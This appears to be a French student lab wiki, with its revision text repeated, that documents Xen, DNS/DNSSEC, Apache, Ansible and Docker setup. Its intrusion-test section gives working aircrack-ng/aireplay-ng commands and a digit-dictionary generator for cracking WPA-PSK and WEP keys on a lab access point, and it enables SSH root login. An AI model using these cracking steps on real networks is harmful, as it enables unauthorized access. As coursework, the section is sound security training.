2019-12-16T21:03:57Z

Zbriois : /* Configuration de vos serveurs internes */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

Fichier:Result crea docker.png

2019-12-16T17:45:09Z

Zbriois :

TP sysres IMA5sc 2019/2020 G4

2019-12-16T17:44:42Z

Zbriois : /* Configuration de vos serveurs internes */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
